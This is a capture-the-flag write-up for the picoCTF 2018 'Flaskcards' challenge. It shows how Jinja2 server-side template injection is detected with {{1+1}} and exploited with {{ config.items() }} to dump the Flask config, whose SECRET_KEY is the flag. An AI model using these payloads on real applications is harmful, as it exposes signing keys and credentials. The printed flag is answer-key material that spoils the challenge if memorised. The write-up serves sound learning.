Tags: flask 

Rating: 5.0

### The vulnerability

I love the [Flask framework](http://flask.pocoo.org/), so I instantly knew what
this was going to be about when I saw the application's name. By chance, I also had just
completed a [pentesterlab]( https://pentesterlab.com/referral/Ro7ncKsrj9U5Hg)
exercise that teaches the vulnerability showcased here, so I had the idea to
try and exploit it immediately.

The vulnerability in question in an SSTI (Server Side Template Injection) in
the [jinja2](http://jinja.pocoo.org/) template engine (used by default by
Flask)

After creating an account, we can check for this vulnerability by setting
fields (here the flash card's question and answer) to `{{1+1}}` : if the
app is vulnerable, the expression between the double curly braces will be
interpreted by the template engine and the value `2` will be displayed.

### The exploit

The template has access to a namespace : the
[context](http://jinja.pocoo.org/docs/2.10/api/#the-context). One of the
variables that Flask pushes to that context is the
[aplication config](http://exploreflask.com/en/latest/configuration.html). At
the very least, that will contain the `SECRET_KEY` used to sign cookie and some
extensions. You can also expect other goodies like the database credentials.

So let's try retrieving the config by creating a question with an answer value
of `{{ config.items() }}`

_We use the `items()` method because `config` is a python dictionary : that
method will return a pair `(key, value)` for each key in the dictionary._

We get the following content in our rendered answer :

```
dict_items([
('SQLALCHEMY_RECORD_QUERIES', None),
('JSONIFY_MIMETYPE', 'application/json'),
('SQLALCHEMY_ECHO', False),
('SESSION_COOKIE_NAME', 'session'),
('SERVER_NAME', None),
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)),
('BOOTSTRAP_CDN_FORCE_SSL', False),
('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_584f8327}'),
('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
('APPLICATION_ROOT', '/'),
('SQLALCHEMY_POOL_TIMEOUT', None),
('SESSION_COOKIE_SECURE', False),
('BOOTSTRAP_QUERYSTRING_REVVING', True),
('JSON_AS_ASCII', True),
('SESSION_COOKIE_DOMAIN', False),
('SQLALCHEMY_TRACK_MODIFICATIONS', False),
('SQLALCHEMY_NATIVE_UNICODE', None),
('PROPAGATE_EXCEPTIONS', None),
('SESSION_COOKIE_SAMESITE', None),
('USE_X_SENDFILE', False),
('SQLALCHEMY_POOL_SIZE', None),
('SESSION_REFRESH_EACH_REQUEST', True),
('JSONIFY_PRETTYPRINT_REGULAR', False),
('TRAP_BAD_REQUEST_ERRORS', None),
('SQLALCHEMY_COMMIT_ON_TEARDOWN', False),
('SQLALCHEMY_POOL_RECYCLE', None),
('BOOTSTRAP_SERVE_LOCAL', False),
('TEMPLATES_AUTO_RELOAD', None),
('DEBUG', False),
('MAX_COOKIE_SIZE', 4093),
('SESSION_COOKIE_PATH', None),
('PRESERVE_CONTEXT_ON_EXCEPTION', None),
('SESSION_COOKIE_HTTPONLY', True),
('MAX_CONTENT_LENGTH', None),
('BOOTSTRAP_USE_MINIFIED', True),
('SQLALCHEMY_MAX_OVERFLOW', None),
('JSON_SORT_KEYS', True),
('TRAP_HTTP_EXCEPTIONS', False),
('EXPLAIN_TEMPLATE_LOADING', False),
('SQLALCHEMY_DATABASE_URI', 'sqlite://'),
('BOOTSTRAP_LOCAL_SUBDOMAIN', None),
('TESTING', False),
('SQLALCHEMY_BINDS', None),
('ENV', 'production'),
('PREFERRED_URL_SCHEME', 'http')])
```

The flag is the `SECRET_KEY` value : `picoCTF{secret_keys_to_the_kingdom_584f8327}`

Original writeup (http://blog.iodbh.net/picoctf2018-web-flaskcards.html).